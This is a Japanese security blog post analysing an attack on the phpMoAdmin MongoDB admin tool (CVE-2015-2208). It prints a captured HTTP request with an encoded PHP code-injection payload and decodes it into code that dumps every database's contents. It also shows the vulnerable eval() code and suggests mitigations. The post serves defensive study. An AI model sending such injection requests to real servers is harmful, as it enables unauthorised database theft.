phpMoAdminの脆弱性(コマンドインジェクション)を狙った攻撃(CVE-2015-2208)
今回は、MongoDB*1のGUI管理ツールであるphpMoAdminの脆弱性を突いた攻撃を紹介したいと思います。
まずはログをご覧ください。(見やすくなるよう改変しています)悪用厳禁
POST /phpMoAdmin/moadmin.php HTTP/1.1 Accept-Encoding: identity Content-Length: 409 Host: IPアドレス Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 object=1%3Beval%28base64_decode%28%22JG09MDskcj0iIjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdERicygpIGFzICAkayA9PiAkdil7ICR0aGlz%0ALT5zZXREYigkayk7CiAgICAkcz0wOyRyMT0kdjsgZm9yZWFjaCgkdGhpcy0%2BbGlzdENvbGxlY3Rp%0Ab25zKCkgYXMgICRrMSA9PiAkdjEpewogICAgICAgIGlmKCR2MSA%2BPSAkbSl7ICRyMS49IlsiLiRr%0AMS4iKCIuJHYxLiIpXSI7ICRzPTE7IH0KICAgIH07IGlmKCRzKSAkci49InsiLiRyMS4ifSI7Cn07%0AIGRpZSgiTU9BU1RBVFM6Ii4kcik7%0A%22%29%29%3B%3Bexit
objectというパラメータにURLエンコードされた攻撃コードが入力されています。さらに、攻撃コード中にbase64_decodeという文字列があることから、途中からBase64でエンコードされているということがわかります。
この攻撃コードのURLデコードを行い、更にBase64でエンコードされている部分をデコードすると、次のようなコードであることがわかります。
object=1;eval(base64_decode("$m=0;$r=""; foreach($this->listDbs() as $k => $v){ $this->setDb($k); $s=0;$r1=$v; foreach($this->listCollections() as $k1 => $v1){ if($v1 >= $m){ $r1.="[".$k1."(".$v1.")]"; $s=1; } }; if($s) $r.="{".$r1."}"; }; die("MOASTATS:".$r);"));;exit
このexploitはMongoDB内のデータベースの内容を全て出力する、コマンドインジェクションであることがわかりました。
この攻撃者は情報の窃取が目的だったようですが、他にも例えばサーバにマルウェアをダウンロードさせるなどの攻撃もできると考えられます。
また、objectパラメータだけでなく、findパラメータにも同様の脆弱性が存在しています。
原因のコード
phpmoadmin.phpには、以下のような関数が存在します。
public function saveObject($collection, $obj) { eval('$obj=' . $obj . ';'); //cast from string to array return $this->mongo->selectCollection($collection)->save($obj); }
このsaveObject関数ではeval関数が記述されています。eval関数のパラメータにはユーザが指定する値が入るobj変数があり、これがコマンドインジェクションの脆弱性を引き起こしています。 また、同様にfindパラメータを処理する部分にもeval関数が使われています。
$find = array(); if (isset($_GET['find']) && $_GET['find']) { $_GET['find'] = trim($_GET['find']); if (strpos($_GET['find'], 'array') === 0) { eval('$find = ' . $_GET['find'] . ';'); } else if (is_string($_GET['find'])) { if ($findArr = json_decode($_GET['find'], true)) { $find = $findArr; } } }
eval関数の使用は推奨されません。もしも利用する場合はパラメータに変数を含めず、文字列リテラルのみを利用するのが賢明です。
対策
2015/06/20現在での最新バージョンが1.1.2であり、発見から3か月ほど経っていますが未だに修正が行われていません。対策として私が考えるのは、サーバ側でphpmoadmin.phpに認証を設定するということです。(管理ツールなので設定してないとおかしいですけどね^^;)また、外部からアクセスされない環境に置くのも手だと思います。
参考サイト
データベース「MongoDB」の管理ツール「phpMoAdmin」に存在するゼロデイ脆弱性の解析 | トレンドマイクロ セキュリティブログ←この脆弱性についてとても詳しく解説しています。
JVNDB-2015-001796 - JVN iPedia - 脆弱性対策情報データベース
第37回 MOPS:PHPにおけるコード実行(1):なぜPHPアプリにセキュリティホールが多いのか?|gihyo.jp … 技術評論社
*1:NoSQLの一つで、ドキュメント指向データベース